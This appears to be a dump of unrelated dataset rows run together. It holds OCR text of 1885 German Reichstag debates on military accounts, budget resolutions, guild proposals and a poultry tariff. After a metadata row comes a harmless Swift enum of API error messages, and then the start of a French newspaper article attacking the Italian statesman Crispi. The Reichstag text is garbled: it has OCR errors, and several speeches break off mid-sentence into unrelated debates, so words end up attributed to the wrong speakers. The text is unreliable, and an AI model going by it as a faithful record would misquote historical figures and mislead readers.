Beschlüsse fassen, welche unseren prinzipiellen Standpunkt demjenigen der Regierung gegenüber wahren. Das haben wir getan, und das müssen wir auch jetzt, meine Herren; denn sonst würde im nächsten Jahre gewiß, namentlich nach dem, was der Herr Kriegsminister heute gesagt hat, der Vertreter der Bundesregierungen kommen und sagen, wir seien von unserem Standpunkt zurückgetreten, wir hätten also das anerkannt, was die Regierung wollte. Im übrigen will ich nur für mich, wie schon damals in der Debatte, erklären, dass, so lange ich Mitglied der Rechnungskommission gewesen bin, — und dass alle Rechnungen seit 1867 bis vor wenigen Jahren durch meine Hände gegangen, — wir prinzipieller niemals den Standpunkt der Regierung als den richtigen anerkannt haben. Ich würde dem Herrn Kriegsminister bitten, dass er die Sache nicht auf die Spitze treibt und uns geradezu zwingt, Konsequenzen aus seiner Theorie zu ziehen, die schließlich lediglich bei der Verweigerung der Decharge anlangen müßten. Wenn wir das bisher nicht getan haben, so haben wir damit eben bekundet, dass wir den prinzipiellen Standpunkt zwar aufrecht erhalten wollen, in keiner Weise uns etwas vergeben wollen, dass wir aber für jetzt die gesetzliche Lösung in unserem Sinne nicht erzwingen wollen. Eine jede Provokation in dem Sinne, wie der Herr Kriegsminister sie heute beliebt hat, zwingt uns, aus der Reserve noch mehr herauszutreten, und wir würden bei dem Mittel, welches zulässig und wahrhaftig doch verfassungsmäßig ist — das würde der Herr Kriegsminister doch anerkennen —, bei dem Mittel der Dechargeverweigerung ankommen müssen. Präsident: Das Wort hat der Herr Abgeordnete von Helldorff. Abgeordneter von Helldorff: Meine Herren, ich möchte nur darum bitten, dass über die Nr. 1 gesondert abgestimmt wird, weil wir gegen die Nr. 1, in der sich das Vorgehen der Herren, für die Herr Rickert gesprochen hat, ausdrücklich stimmen wollen und zwar in Konsequenz unserer Anseinandersetzung in der letzten Sitzung, in der wir diesen Gegenstand verhandelt haben. Ich enthalte mich, hier nochmals auf die Debatte einzugehen, wenn ich nicht von der anderen Seite dazu provoziert werde. Das aber muss ich nun nochmals konstatieren, daß unsere Seite die Auffassung des Herrn Rickert in dieser Beziehung nicht teilt. Wir sind nicht der Meinung, dass wir in dieser Allgemeinheit das Recht des Reichstags in Anspruch nehmen dürfen, weil wir glauben, dass es ihm in dieser Allgemeinheit nicht zusteht, und wir glauben, dass die Form, welche die Herren wählen, weher thut, als wir meinen in dieser Sache zu tun zu sollen. Präsident: Der Herr Abgeordnete IN-. Meyer (Halle) hat das Wort. Abgeordneter Dr. Meyer (Halle): Ja, meine Herren, wenn die Herren von der konservativen Partei gegen den von uns unter I formulirten Antrag, also gegen die Nr. 18 stimmen, wie es den Anschein hat, und wenn sie, was ich allerdings nicht erwarte, bei dieser Ablehnung die Majorität erhalten sollten, dann würde der Reichstag eben in die Lage kommen, über unseren Eventualantrag unter II ebenfalls abzustimmen, welcher Antrag dahin geht, die Decharge nur auszusprechen unter dem Vorbehalt derjenigen Fälle, die unter diesen Nummern aufgeführt sind, das heißt also, für diese Position die Decharge irsus suspendieren zu lassen, und wir würden diesen Antrag alsdann damit zu motivieren haben, dass Ausgaben geleistet sind, die nach der strengen Handhabung der bestehenden Anordnungen nicht hätten geleistet werden sollen, und für welche auch die nachträgliche Genehmigung, die wir bereitwillig angeboten haben, durch die Schuld der konservativen Partei vereitelt worden wäre. Präsident: Der Herr Bevollmächtigte zum Bundesrat, Staats- und Kriegsminister Bronsart von Schellendorf, hat das Wort. Bevollmächtigter zum Bundesrat für das Königreich Preußen, Staats- und Kriegsminister Bronsart von Schellendorf: Meine Herren, ich muß meinen Vergleich mit dem Waffenstillstand aufrecht erhalten. Ich habe ja vollständig anerkannt, dass die Frage, um die es sich hier handelt, zwischen dem Reichstag und den Regierungen kontrovers ist seit Jahren; aber es wird doch auch andererseits nicht bestritten werden wollen, dass diese Form der nachträglichen Genehmigung bisher weder im Plenum beantragt worden, noch jemals seitens des Plenums beliebt worden ist, dass also allerdings eine Verschärfung der Situation eingetreten ist, nicht durch die Initiative der verbündeten Regierungen, sondern durch eine Initiative aus dem Hause heraus. Darum halte ich den Vergleich vollständig aufrecht, dass wir uns, so weit hier die Plenarberatungen in Frage kommen, auf diesem Gebiete im Zustand des Waffenstillstands befounden haben. Dass in den Kommissionen diese Sachen erörtert worden sind, dass auch dem Gedanken Ausdruck gegeben worden ist, dass Seine Majestät nicht das Recht hätte, derartige Niederschlagungsordners zu erteilen, das ist mir sehr wohl bekannt. Es ist aber nicht in dieser Form und Bestimmtheit zum Ausdruck gebracht worden. Diese Frage ist auch nicht, — es ist mehrfach hier der Ausdruck gefallen in früheren Debatten: „provokirende Erklärungen des Kriegsministers" — diese Frage ist nicht von dem preußischen Kriegsminister aufgerührt worden, sondern sie ist in das Plenum gebracht worden durch den Herrn Antragsteller und seine Partei, welche die Gelegenheit für gekommen glaubt, um nun einmal bestimmt auch im Plenum ihren Auffassungen Ausdruck zu geben und durch einen Majoritätsbeschluss auf die Entschließungen der verbündeten Regierungen einzuwirken. Meine Herren, der Herr Abgeordnete Rickert sagt, es wären Konsequenzen nöthigenfalls zu ziehen, wenn die verbündeten Regierungen hier sich den Anträgen entgegenstellten. Ja, meine Herren, die Konsequenzen, die sich aus der Annahme des Antrages ergeben, die ziehe ich auch, und das sind nämlich die, dass, wenn Sie heute in sehr versöhnlicher Stimmung diese Ausgaben nachträglich genehmigen, Sie viel leicht einstmal in einer weniger versöhnlichen Stimmung die Ausgaben nachträglich nicht genehmigen; dann stehen wir vor der Frage, dass Seine Majestät der König von Preußen in der loyalsten Ausübung des ihm nach Ansicht der verbündeten Regierungen zustehenden Rechtes eine Order gegeben hat, einen Befehl an die Armee, dass dessen Ausführung nachher gewissermaßen durch einen Beschluss des Reichstages als ungesetzlich und als unzulässig erklärt wird. Diese Konsequenz, meine Herren, wollen wir uns nicht aussetzen. (Bravo! rechts.) Präsident: Das Wort hat der Herr Abgeordnete Dr. Hänel. Abgeordneter Dr. Hänel: Meine Herren, ich operiere weder mit Bildern noch mit Stimmungen. Ich kann natürlich dem Herrn Kriegsminister nicht verwehren, ein Bild, ob richtig oder unrichtig, zu gebrauchen; aber er muss mir auf der anderen Seite zugestehen, dass mit derartigen Bildern für logische, für rechtliche Deduktionen auch nichts gewonnen wird. Sehen wir die Sache an, wie sie tatsächlich liegt. Richtig ist es, dass die Rechnungskommission, beachtlich das Haus über eine Unzahl von ähnlichen Notaten aus dem Hause kein Widerspruch erfolgt. Die Resolution des Herrn Abgeordneten Dr. Baumbach, Nr. 3, lautet: den Bundesrat zu ersuchen, im nächsten Reichshaushaltsetat die zur Besoldung der Postsekretäre bestimmte Summe insoweit zu erhöhen, als dies erforderlich ist, um die derzeitige Schmälerung zu besichtigen, welche die Mittel zur Besoldung der Postsekretäre dadurch erleiden, dass sie mit denjenigen übertragen, welche zur Besoldung der in Tit. 18 bezeichneten höheren Beamtenkategorien, sowie zur Besoldung der Kassierer und Obersekretäre bestimmt sind. Ich werde also zunächst über diese Resolution und für den Fall, dass dieselbe abgelehnt werden sollte, über die Resolution unter Nr. 2 abstimmen lassen. Sollte die Resolution unter Nr. 3 angenommen werden, so ist die Resolution unter Nr. 2 erledigt. — Das Haus ist damit einverstanden. Ich bitte diejenigen Herren, welche die Resolution unter Nr. 3 annehmen wollen, sich zu erheben. (Geschieht.) Das ist die Mehrheit; die Resolution 2 ist damit erledigt. Zu Kap. 3 Tit. 17, — gestellt von dem Herrn Abgeordneten Dr. Lingens: a) die Grundsätze über die Feststellung der Gehaltsstufen für die verschiedenen Beamtenkategorien in der Richtung einer Revision unterwerfen zu lassen, dass ein regelmäßiges Vorrücken der Beamten nach der Anciennität gesichert werden; b) die Grundsätze über Regelung und Berechnung der Dienstzeit bei Tag und Nacht gleichmäßig feststellen, sowie dahin ändern zu lassen, dass die Stunden der Sonntagsruhe bei der Berechnung der Gesamt-arbeitszeit der Wochentage nicht in Ansatz kommen. Ich bitte, dass diejenigen Herren, welche diese Resolution annehmen wollen, sich erheben. (Geschieht.) Ich bitte um die Gegenprobe. (Geschieht.) Das Büreau ist einig, dass die jetzt Stehenden die Minderheit sind; die Resolution ist daher angenommen. Wir gehen über zu dem bereits verlesenen, von dem Herrn Abgeordneten Dr. Freiherrn Schenk von Stauffenberg gestellten Antrag. Es wird gewünscht, diesen Antrag als schnellsten im Sinne unserer Geschäftsordnung zu behandeln. Wenn niemand widerspricht, können wir sofort in die Diskussion treten. — Ein Widerspruch erfolgt nicht; ich konstatiere dies und eröffne daher die Diskussion über den Antrag. Das Wort hat der Herr Abgeordnete Freiherr Schenk von Stauffenberg. Abgeordneter Freiherr Schenk von Stauffenberg: Meine Herren, ich will nur sehr wenige Worte zur Begründung der Resolution sagen. Ich glaube, die jetzt durch Gewohnheit festgestellte Behandlung der Resolutionen entspricht wirklich nicht der allgemeinen Stimmung des Hauses. Wir diskutieren in zweiter Lesung schon sehr lange über die Resolutionen, ohne ein praktisches Ergebnis danach herzubringen, und in dritter Lesung kommen sodann die Resolutionen sozusagen erst einmal zur Abstimmung. Ich muss sagen, es ist nicht leicht möglich, sich den Verhandlungen zu vergegenwärtigen, welche den Resolutionen zu Grunde gelegt sind. Ein weiterer Umstand, der auch nicht gerade zur Beschleunigung unserer Debatten beiträgt, ist der, daß niemand, obwohl in dritter Lesung über die Resolutionen nicht mehr diskutiert werden kann, abgehalten werden kann, das, was er zu einer Resolution sagen will, bei irgend einer Gelegenheit beim Etat zur Sprache zu bringen, wie Herr von Benda an einer Reihe von Beispielen gezeigt hat. So kommen also die Resolutionen vielfach zu einer zweimaligen Verhandlung, was eigentlich ganz gegen den Geist der Geschäftsordnung ist. Ich halte es daher für recht nothwendig, daß in dieser Beziehung eine ganz feste Übung festgestellt wird; und es wird das kaum anders möglich sein, als wenn Vorschläge bezüglich eines Zusatzes zur Geschäftsordnung gemacht werden. Ich bemerke aber, — selbstverständlich ist das jetzt nicht nötig, denn wir sind fertig mit den Resolutionen, — daß sich das auf die Zukunft und nicht auf die Gegenwart bezieht. Präsident: Das Wort hat der Herr Abgeordnete von Benda. Abgeordneter von Benda: Ich habe mich bereits früher in demselben Sinne und in derselben Richtung hier ausgesprochen; ich kann dem Herrn Vorredner nur beitreten. Präsident: Das Wort wird nicht weiter verlangt; ich schließe die Diskussion. Wir werden sofort über den Antrag abzustimmen haben. Es dürfte ein Bedenken nicht vorliegen, über diesen Antrag, der einen Auftrag für die Geschäftsordnungskommission enthält, ohne daß derselbe gedruckt vorliegt, sofort abzustimmen. Ich werde den Antrag nochmals verlesen. Er lautet: Die Geschäftsordnungskommission wird beauftragt, die Frage, wie die Resolutionen zum Etat künftig geschäftsordnungsmäßig zu behandeln seien, zu prüfen und darüber dem Reichstage Bericht zu erstatten. Ich bitte diejenigen Herren, welche den Antrag annehmen wollen, sich zu erheben.. (Geschieht.) Das ist die Mehrheit. Meine Herren, im Laufe der Etatsberathung ist seitens der Referenten der Petitionskommission bzw. der Budgetkommission über Petitionen Bericht erstattet, und an dem der Antrag geknüpft worden, dieselben mit Rücksicht auf die zum Etat vom Hause zu fassenden Beschlüsse für erledigt zu erklären. Ich habe mich nicht in der Lage befunden, eine Beschlussfassung des Hauses über diese Anträge der gedachten Kommissionen herbeizuführen, weil Anträge der Kommissionen in geschäftsordnungsmäßiger Form nicht vorliegen, und diese Petitionen deshalb auch nicht auf die Tagesordnung gesetzt werden konnten. Ich glaube auch jetzt einen desfallsigen Beschluss nur dann herbeizuführen zu können, wenn von keiner Seite im Hause dagegen Widerspruch erhoben wird. Da aber seitens der Petitionskommission Wert darauf gelegt wird, dass ein desfallsiger Beschluss gefasst werden möchte, und ich ersucht worden bin, in diesem Sinne die Angelegenheit hier zur Sprache zu bringen, so möchte ich die Frage an das Haus richten, ob Widerspruch dagegen erhoben wird, dass die fraglichen Anträge jetzt zur Abstimmung gestellt werden. — Das ist nicht der Fall. Ich darf dann wohl ohne besondere Abstimmung feststellen, dass das Haus in dieser Beziehung den Anträgen der Petitionskommission respektive der Budgetkommission zustimmt. — Ich stelle das hiermit fest. Meine Herren, die Etatsberathung ist hiermit erledigt. Der Abgeordnete Richter hat den Antrag auf Verzögerung gestellt. Ich bitte diejenigen Herren, welche diesen Antrag unterstützen wollen, sich zu erheben. (Geschieht.) Die Unterstützung reicht aus. Ich bitte diejenigen Herren, welche die Sitzung jetzt verzögern wollen, aufzustehen. (Geschieht.) Reichstag. 63. Sitzung. Dienstag den 10. März 1885. Dann unter der Ziffer 5 schlagen wir Abänderungen der Strafbestimmungen vor. Man hat uns vorgeworfen, als es sich um Ziffer 3 zu Z 100 handelte, dass wir diese Ziffer nicht unter die Strafbestimmungen gestellt hätten. Man hat gemeint, das sei ein glänzender Beweis unserer Unfähigkeit zu legislativer Arbeit. (Sehr richtig! Links.) — Ja, Sie sagen: Sehr richtig! Ich weiß nicht, wer das gerufen hat; er hat aber in den Gesetzen der Einzelstaaten sich gewiß nicht umgesehen; sonst würde er wissen, daß eine gesetzliche Bestimmung, auch wenn nicht in dem Gesetz eine besondere Strafe angedroht ist, darum doch immer Gesetz bleibt, daß sie darum nicht eine Isx impsrlsata ist, und daß die Verwaltungs- und Polizeibehörden gehalten sind, wothigen- falls durch Zwangsmaßregeln auch solche Bestimmungen durch zuführen. (Sehr richtig! Rechts.) Zum Überfluß haben sogar einzelne Staaten das ausdrücklich durch Landesgesetz ausgesprochen; aber auch, wo dies nicht der Fall, ist im Verwaltungsrecht ein allgemein anerkannter Grundsatz, daß die Behörden gesetzliche Vorschriften durch führen müssen, unbekümmert darum, ob im Gesetze Strafen angedroht sind oder nicht. Ich gebe also zu: eine Strafbestimmung hätte man ja bei Ziffer 3 zu Z 100 s auch mit in das Gesetz aufnehmen können; aber wenn das nicht geschehen ist, so hat man nicht ein so schweres Verbrechen begangen, wie dasjenige ist, dessen wir angeklagt worden. Nun genug aber, Sie wollten durch aus eine Strafbestimmung haben, schön, so bringen wir sie Ihnen heute nachträglich, und weil wir einmal, um Ihren Wünschen Rechnung zu tragen, einen Antrag einbringen mußten, so haben wir noch einiges andere mitaufgenommen und beantragen nun alles das, was ich Ihnen des weiteren bereits vorgetragen habe, und worüber Sie nun zu befinden haben. Sie sehen also: wir sind sehr entgegenkommend. Was die geschäftliche Behandlung anlangt, so glaube ich allerdings, unser Antrag bedarf der kommissarischen Vorberatung, und ich beantrage darum in Übereinstimmung mit meinen Herren Mitantragstellern, unseren Antrag zu überweisen an eine besondere Kommission von 21 Mitgliedern. Ich kann nicht empfehlen, dass dieser Antrag überwiesen wird an die X. Kommission, weil die letztere zwar auch mit Bestimmungen aus dem Gebiete der Gewerbeordnung sich befaßt, aber mit einer ganz und ganz anderen Materie. Die X. Kommission beschäftigt sich nach dem ihr bis jetzt überwiesenen Material mit der Frage über den Arbeiterschutz, während unsere heute zur Debatte stehenden Anträge es in der Hauptsache mit den Innungen zu tun haben. Dies ist etwas ganz anderes. Dazu kommt, dass die X. Kommission so sehr überlastet ist, dass sie Mühe und Not haben wird, um nur die Aufgaben, die ihr bis jetzt schon gestellt sind, zu bewältigen. Ich glaube darum: es ist richtiger, dass für die heutigen Anträge eine besondere Kommission eingesetzt werden. Welchen Bericht die Kommission uns erstatten wird, das weiß ich nicht. Ich hoffe aber, sie kann sich schlüssig machen; jedoch selbst wenn die Session zu kurz sein sollte, um die Arbeit ganz zum Abschluss zu bringen, so wäre schon die Vorberatung über unsere Anträge in einer Kommission von Nutzen. Sie werden ein brauchbares Resultat für weitere Arbeiten liefern. Wir haben das bei verschiedenen großen Gesetzen erlebt, dass es in einer Session noch nicht ganz gegangen ist. Die Kommission hat die Frage geklärt, hat gehört, was die Regierungen dazu sagen, und man ist dann in der nächsten Session wiedergekommen. Wir haben auf dem Gebiete der Gewerbeordnung überhaupt das schon mehrere Male versucht. (Sehr richtig! rechts.) Wir sind in der einen Session nicht fertig geworden, dann sind wir in der nächsten Session wiedergekommen, und dann hatte die Opposition an Kraft verloren, und wir konnten unsere Anträge durchbringen. Darauf dürfen Sie sich ver lassen, daß wir nicht eher zurücktreten, als bis die Forderungen erfüllt sind, die das deutsche Handwerk, wie wir glauben, mit Recht stellen kann. „Ausdauer und Geduld erringen des Glückes Huld". An unserer Ausdauer soll es nicht fehlen, darauf darf sich das deutsche Handwerk verlassen. (Bravo! rechts.) Präsident: Das Wort hat der Herr Abgeordnete vr. Baumbach. Abgeordneter Dr. Vaumbach: Meine Herren, die An nahme, daß irgend jemand auf dieser Seite des Hauses irgendwie in der Lage wäre, den Anträgen der Herren Kol legen Ackermann und Genossen zuzustimmen, halte ich für vollständig und absolut ausgeschlossen. Ich kann mich unter diesen Umständen sehr kurz fassen. Wir werden auch nicht in der Lage sein, für eine Kommission stimmen zu können; denn es versteht sich ja für uns von selbst, daß wir in der Kom mission ebenfalls nur ablehnend votieren könnten. Der Herr Kollege Ackermann beliebte im Eingang seiner Ausführungen von Verdächtigungen zu sprechen, welche er hier bei den früheren Beratungen seiner schönen Anträge ausge setzt gewesen sei. Ich muß sagen, von Verdächtigungen kann in diesem Fall schlechterdings nicht die Rede sein. Wir haben die Ackermannschen Anträge stets bekämpft, und wir werden sie auch künftig bekämpfen. Wir haben allerdings stets darauf hingewiesen, daß diese Anträge schließlich nur ein Endziel haben könnten, und daß das endliche Ideal des Herrn Ackermann und seiner Freunde kein anderes sein könne und sein werde, als die Zwangsinnungen. Es scheint, als ob auch heute von Ihrer Seite in Abrede gestellt werden sollte, dass Sie direkt auf die Zwangsinnungen lossteuern. Ich sage Ihnen: das, was Sie uns heute bringen, ist nichts anderes als die Zwangsinnungen, und ich muß sagen, dass ich in der That mit einer gewissen Genugtuung dies hier aussprechen. Denn wir haben, wie gesagt, wiederholt und nachdrücklich darauf hingewiesen, dass das, was Sie erstreben, nichts anderes sei, als die obligatorische Innung, als die Zwangsinnung. Mit welcher Emphase haben die Herren noch bei der letzten Beratung des Ackermannschen Lehrlingsparagraphen darauf hingewiesen, dass es sich dabei keineswegs handeln könne um einen Innungszwang, und dass von Zwangsinnungen schlechterdings nicht die Rede sein könne! Man sagte uns, dass das Ackermannsche Lehrlingsprivilegium ja nur dann gegeben werden sollte, wenn eine Innung aus dem Gebiet des Lehrlingswesens sich bewährt haben wird, dass nur dann die höhere Verwaltungsbehörde als besonderes Prämium eben dieser Innung das Lehrlingsprivilegium erteilen sollte. Wir dagegen haben immer die Auffassung unterhalten, dass es sich hierbei nur um einen Appell zu richten an den Egoismus der einzelnen Handwerksmeister, einen Appell an diesen Egoismus, insofern sie ihre Mitmeister von dem Halten von Lehrlingen, das heißt auf gut deutsch, von dem Ausnutzen dieser billigen Arbeitskräfte, ausschließen können. Das war und ist des Pudels Kern bei diesen Ackermannschen Anträgen: wer nicht freiwillig in die Innung hineingeht, der soll in die Innung hineingeärgert werden; das ist die letzte Tendenz des Herrn Kollegen Ackermann. Heute geht er nun noch einen Schritt weiter; heute ist nicht mehr davon die Rede oder wenigstens nicht in erster Linie davon die Rede, daß die Innung sich bewährt haben müsse, heute handelt es sich auch nicht mehr um das Ermessen der höheren Verwaltungsbehörde, sondern, wenn sich in einem Bezirke eine Innung gebildet hat, und wenn die Hälfte der Arbeiter in jedem Augenblicke, wenn ein neuer Zoll hier auftaucht, wissen sollte, ob irgend in einem Handelsvertrag dagegen eine Klausel vorhanden ist —, Sie haben es offenbar, warum wollen Sie es nicht geradeaus sagen, nicht gewußt! Sie haben den Zoll gestellt, wie viele andere, ohne Kenntnis der Tatsachen, aus einer gewissen — es ist ja gleichgültig, aus welcher Bestimmung heraus, und nun erfahren Sie, daß Sie eigentlich an das, worauf Sie es abgesehen haben, an das Geflügel aus Österreich, nicht heran können in Folge des Handelsvertrages. Ich möchte daher wirklich bitten, da dieser Zoll, wie er gemeint ist, absolut nicht in Kraft treten kann, uns doch wenigstens es zu ersparen, ihn in dieser Fassung anzunehmen. Lehnen Sie ihn auch in der dritten Lesung ab. Vizepräsident Freiherr von und zu Frauckenstein: Das Wort hat der Herr Abgeordnete Graf zu Stolberg-Wernigerode. Abgeordneter Graf zu Stolberg-Wernigerode: Der Herr Abgeordnete Richter hat vorhin bereits gesagt und jetzt eben wiederholt, wir hätten bei Stellung des Antrags nicht gewußt, daß dieser Zoll in Bezug auf Geflügel gebunden wäre durch den italienischen Handelsvertrag. Ja, da muss ich doch offen sagen, da traut uns doch der Abgeordnete Richter ein bisschen zu wenig zu. Ich begreife ja vollkommen, daß ein einzelner Abgeordneter, wenn er einen solchen Antrag liest, nicht im Augenblick im Stande ist, zu sagen, inwiefern dieser Antrag durch Handelsverträge beeinflußt wird; aber wenn eine große Anzahl Mitglieder zusammenkommt und derartige Anträge ausarbeiten und zwei- und dreimal berätten, dann werden Sie uns doch wahrhaftig zutrauen können, daß wir uns vorher die Handelsverträge ansehen. Wir haben uns sehr wohl gesagt, daß dieser Zoll gebunden wäre vorläufig durch Handelsverträge; allein, wie bereits ausgeführt ist, gibt es doch auch Länder, die nicht meistbegünstigt sind, und wir wissen sehr gut, daß aus Russland sehr viele Schneehühner eingehen. (Ah! links.) — Ja, meine Herren, wenn Sie es nicht wissen, thut es mir leid; wir haben es gewußt. Dann haben wir uns gesagt, daß, da wir jetzt im allgemeinen ein Schutzzollsystem haben und Handelsverträge geschlossen haben und zukünftig schließen wollen, es für uns sehr wesentlich ist, gerade in der Zeit, in welcher die Handelsverträge laufen, uns Kompensationsobjekte zu schaffen. (Sehr richtig! rechts.) Ich muss konstatieren, dass gerade dieses Moment ausdrücklich bei Beratung dieser Anträge innerhalb der einzelnen Vereinigungen zur Sprache gekommen ist, und ich glaube, aus dieser Tatsache allein geht bereits hervor, dass die Auffassung des Herrn Abgeordneten Richter, wir hätten von den Handelsverträgen nichts gewusst, eine absolut irrgerechte ist. Meine Herren, der Herr Abgeordnete Richter hat auch materiell gegen diesen Zoll eigentlich gar keine Gründe angeführt; er hat gesagt, er wäre kein Kompensationsobjekt für die Fleischzölle. Meine Herren, das sind ja alles negative Gründe; ein positiver Grund lässt sich nicht dagegen anführen, und ich glaube, wenn irgend ein Zoll gerechtfertigt ist, dann ist es dieser; er ist die natürliche Konsequenz der übrigen landwirtschaftlichen Zölle, und darum bitte ich Sie, ihn anzunehmen. (Bravo! rechts.) Vizepräsident Freiherr von und zu Franckenstein: Das Wort hat der Herr Abgeordnete Dirichlet. Abgeordneter Dirichlet: Meine Herren, ich kann ja natürlich nicht leugnen, dass der Herr Graf zu Stolberg-Wernigerode und vielleicht auch noch andere Herren sich den italienischen Handelsvertrag und die einzelnen Artikel desselben angesehen haben; selbstverständlich, wenn die Erklärung hier abgegeben wird, ist sie für uns verbindlich, und wir sind verpflichtet, daran zu glauben. Dann hätten aber die Herren wirklich, namentlich nach den Erklärungen des Herrn Grafen zu Stolberg-Wernigerode, welcher sagte, er begriff es vollständig und fände es sogar in Ordnung, dass, wenn man nicht Antragsteller wäre, man nicht in jedem Moment einen solchen Artikel gegenwärtig haben könnte, — dann hätte es die einfache parlamentarische Rücksicht auf die Debatten geboten, meine Herren, dass Sie uns von dieser Ihrer eingehenden Kenntnis Mitteilung gemacht hätten; wir sind doch eben nicht Antragsteller, Sie haben die Diskussion eröffnet, meine Herren! Und nun bitte ich Sie noch, wie verschieden behandeln Sie denn die Dinge? Vorher bei der Butterfrage, bei der Margarine-frage tritt ein Herr auf und hält es für notwendig, uns in einem beinahe einstündigen Vortrag zu belehren über das Wesen der Milchwirtschaft, das Wesen der Butterproduktion usw., uns über einzelne Dinge zu belehren, die wir so frei waren schon einfach als gewöhnliche Staatsbürger ziemlich genau zu kennen; während es sich aber hier darum handelt, über einen Artikel eines einzelnen Handelsvertrages orientiert zu sein — von dem der Herr Graf zu Stolberg selbst says, er könne das von einem Abgeordneten gar nicht verlangen—, hüllen Sie sich in ein höchst diplomatisches und gewiss sehr vornehmes Schweigen, das doch aber die Sachlichkeit unserer Debatten in keiner Weise befördert. — Ich erkläre also nochmals, dass ich selbstverständlich nach den Ausführungen des Herrn Grafen für meine Person daran glaube, dass die Herren das ausführlich erwogen haben; ob man aber im Publikum ein ebenso gläubiges Gemüt im allgemeinen haben wird, lasse ich nach dem Gange, den die Verhandlungen hier genommen haben, ganz dahingestellt. Der Herr Graf zu Stolberg hat dann ferner gesagt: Man hat ja nur Negatives gegen diesen Zoll angeführt, folglich ist es ein Zoll, der dringend notwendig ist. Ja, meine Herren, wie stimmt denn das zu der ganzen Theorie von der großen ehrlichen Probe des Zolltarifs und von den betreffenden Abänderungen, die nur da vorgenommen werden sollen, wo sich im Laufe der Praxis erhebliche Missstände herausgestellt haben? Meine Herren, die erheblichen Missstände in Bezug auf die russischen Schneehühner sind uns denn doch noch nicht in dem Grade klar geworden, als es auch vielleicht hier wieder als selbstverständlich vorausgesetzt worden ist. Es ist uns ferner sehr lehrreich gewesen, daß der Herr Graf zu Stolberg diese ganze Theorie, welche den Motiven des Zolles, zum Teil auch — wenigstens nach ihrer mündlichen Motivirung — den Beschlüssen der freien Vereinigung zu Grunde liegt, eigentlich über den Haufen geworfen hat. Er hat gar nicht gesagt: wir machen hier Zölle — oder er hat es vielmehr ausdrücklich gesagt: es kommt hier gar nicht darauf an, Zölle zu machen, Zölle zu verbessern, auf Grund der Erfahrungen zu revidieren, welche sich als unzweckmäßig herausgestellt haben, welche nach Lage der Dinge nicht ihren Zweck erfüllt haben, sondern wir wollen durch unsere Zolltarifnovelle in diesem Augenblick Kompensationsobjekte schaffen für die künftigen Zollverhandlungen mit unseren Nachbarn. Ja, meine Herren, dadurch ist die Sache auf ein ganz anderes Gebiet gestellt worden, dadurch gewinnt die Sache ein ganz anderes Ansehen; und da frage ich Sie, ob Sie in der Tat glauben, dass die Vorliebe des Herrn von Schalk dafür, dass die armen Ober schlesier, wenn sie keine fetten Gänse bezahlen können, lieber gar keinen Gänsebraten essen sollen, ein wichtiges und bedeutendes Kompensationsobjekt ist bei künftigen Verhandlungen mit Österreich-Ungarn über die Herstellung unseres Zolltarifs? Meine Herren, das ist ein Argument, was vielleicht noch mehr bei den Haaren herbeigezogen ist als irgend ein anderes. Reichstag. — 79. Sitzung. Freitag den 17. April 1885. | 45,081 |
https://github.com/Nickelfox/TemplateProject/blob/master/Pods/FLAPIClient/Source/Classes/Errors/APIErrorType.swift | Github Open Source | Open Source | MIT | null | TemplateProject | Nickelfox | Swift | Code | 167 | 413 | //
// APIErrorType.swift
// Network
//
// Created by Ravindra Soni on 16/12/16.
// Copyright © 2016 Nickelfox. All rights reserved.
//
import Foundation
public enum APIErrorCode {
case other(code: Int)
case noInternet
case mapping
case unauthorized
case serverDown
case unknown
}
public enum APIErrorType: APIErrorProtocol {
case unknown
case noInternet
case unauthorized
case mapping(message: String?)
case serverDown
public var error: APIError {
var title = APIErrorDefaults.title
var message = APIErrorDefaults.message
var actionTitle = APIErrorDefaults.actionTitle
var code = APIErrorDefaults.code
switch self {
case .mapping (let msg):
title = APIErrorDefaults.mappingErrorTitle
message = msg ?? APIErrorDefaults.mappingErrorMessage
actionTitle = APIErrorDefaults.actionTitle
code = .mapping
case .noInternet:
message = "No Internet Connection! Check your internet connection."
code = .noInternet
case .unauthorized:
message = "Sorry! Your session has expired. Please login and try again."
code = .unauthorized
case .unknown:
code = .unknown
case .serverDown:
message = "Sorry! Our servers are under maintenance right now. Please try again later."
code = .serverDown
}
return APIError(code: code, title: title, message: message, actionTitle: actionTitle)
}
}
| 18,137 |
bpt6k5184949_1 | French-PD-Newspapers | Open Culture | Public Domain | null | Le Petit Parisien : journal quotidien du soir | None | French | Spoken | 8,082 | 13,134 | Dernière Edition FEU CRISPI La France compte un grand ennemi de moins: M. Crispi peut vivre encore quelques années, malgré son âge avanoé, mais il est mort politiquement, et la pierre tombale recouvre définitivement sa carrière d'homme d'Etat, A aucun pays il n'a fait autant de mal m'a l'Italie; car sa haine contre nous est Demeurée impuissante, tandis qu'il a en'tratné sa patrie dans la voie où elle a trouvé d'inextricables embarras financiers avant d'aboutir au désastre d'Adoua! L'animosité de M. Crispi pour la France "était sa façon de s'acquitter de la dette qu'il avait contractée en venant s'asseoir à notre foyer pendant les heures dures de son exil. Proscrit, il avait trouvé dans notre pays (l'accueil le plus cordial, c'est au milieu de jdous qu'il avaitlpassé sa laborieuse jeunesse. ,C'est de France qu'il était parti, appelé par .la Révolution, pour s'élancer vers des destinées nouvelles. Comment s'est-il fait que cet ancien républicain, ce compagnon de Garibaldi lors fle l'expédition des Mille, ait fini par échouer 'et politique aux pieds de M. de Bismark? Il y a là un fait que la postérité aura de la peine à expliquer, car M. Crispi désertait son passé en se prosternant devant le aésarisme allemand. i Cette désertion vis-à-vis de lui-même, il l'a accomplie avec la fougue qu'il mettait en 'toute. choses, guidé peut-être par son goût personnel d'autorité. Quand il s'est vu le Jmattre du pouvoir, l'ivresse de la puissance s'est manifestée. Alors il a rêvé d'inscrire à jamais son nom dans la mémoire de l'humanité en faisant quelque chose d'énorme, et il a voulu amener la guerre. On n'a pas oublié ses provocations incessantes, la violation d'un consulat français, le ton acerbe qu'il prenait vis-à-vis de nous. Il s'était fait l'agent provocateur de M. de Bismark, quelque chose comme un limier quêtant l'occasion et le chancelier de Berlin dut souvent lui faire sentir la laisse pour ile ramener il la modération. En fait, sa politique a été vaincue, puisque la paix n'a pas été troublée. Il a été renversé du Ministère avant d'avoir réussi à exécuter son plan de conflagration générale; et depuis lors, malgré ses velléités offensives, il n'a plus joué de rôle. Les derniers jiûoidents l'ont achevé. Le fait est qu'ils sont terribles, car ils touchent l'honneur d'une façon si précise qu'ils ne laissent place aucune controverse. Il faut qu'il en soit ainsi, puisque M. Crispi n'a pas osé venir défendre sa conduite devwit la Chambre et a subi un vote de censure, rendu à la presque unanimité, sans essayer de se disculper. Ce n'est pas cependant l'audace qui manque à l'homme qui, Ministre de 